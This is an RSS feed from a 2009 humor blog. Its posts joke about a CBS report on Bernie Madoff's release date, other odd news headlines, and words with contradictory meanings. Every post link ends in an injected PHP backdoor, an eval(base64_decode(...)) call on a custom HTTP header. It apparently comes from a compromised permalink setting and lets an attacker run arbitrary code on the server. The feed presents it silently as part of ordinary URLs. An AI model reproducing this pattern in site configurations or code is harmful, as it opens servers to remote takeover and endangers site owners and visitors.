http://perpetuallyconfused.com/main ...and constantly in need of assistance! Mon, 24 Aug 2009 16:51:55 +0000 http://backend.userland.com/rss092 en My guess is, this appeared on numerous sites but since I saw it on CBS, they get credit.  In an article about Bernie Madoff and his declarations that he's dying, this tidbit was included:  "The 71-year-old Madoff could be released for good behavior by November 2139." Um....oh no he couldn't.  None ... http://perpetuallyconfused.com/main/2009/08/24/cbsnews-com-pulls-a-funny-one/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I was up early today and decided it had been too long since a good dose of headlines.  Some of these are my usual too pointless to be called news and/or hysterically funny and some I just wanted to comment on.  Our first batch comes from CNN, today's bringer of ... http://perpetuallyconfused.com/main/2009/07/25/headlines-for-july-25-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Bolt the lock and you've secured something.  Bolt in general and you're running as fast as you can. http://perpetuallyconfused.com/main/2009/07/12/definition-bolt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ You can buckle up and fasten something or buckle down and fall apart.  So when someone says, "I buckled," what did he really do? http://perpetuallyconfused.com/main/2009/07/12/definition-buckle/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ You can weather the storm, or endure, or something can be weathered, or eroded.  Endure, erode.  Some of our brains go through both at once, don't they? http://perpetuallyconfused.com/main/2009/07/12/definition-weather/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Merriam-Webster makes me happy.  Ravel means both "to separate or undo the texture of" and "to become entangled or confused."  Ravel is my new favorite word.  I might name my next pet Ravel. http://perpetuallyconfused.com/main/2009/07/12/definition-ravel/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ According to Merriam-Webster, clip means "to encompass" or "hold in a tight grip" and "to cut or cut off with or as if with shears."  So you bring it together and cut it apart.  I love English. http://perpetuallyconfused.com/main/2009/07/12/definition-clip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As you can see, PerpetuallyConfused.com has changed just a little bit.  More updates will be on the way. http://perpetuallyconfused.com/main/2009/07/12/new-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ 1 : occurring twice a week 2 : occurring every two weeks Maybe it's just me, but there's a bit of a difference there.  For more fun, bimonthly says it's twice a month and every two months.  So technically, an article that comes out every two weeks is both biweekly ... http://perpetuallyconfused.com/main/2009/07/12/definition-biweekly/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I haven't done one of these in a long time due to taking care of my mother, but today I needed a laugh and found it, as usual, on the mainstream media websites. Here's the batch! From MSNBC.com comes this absolute comedy goldmine: 'Jealous wife' charged in fatal genitals fire It might ... http://perpetuallyconfused.com/main/2009/07/11/headlines-archive-fifteen/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/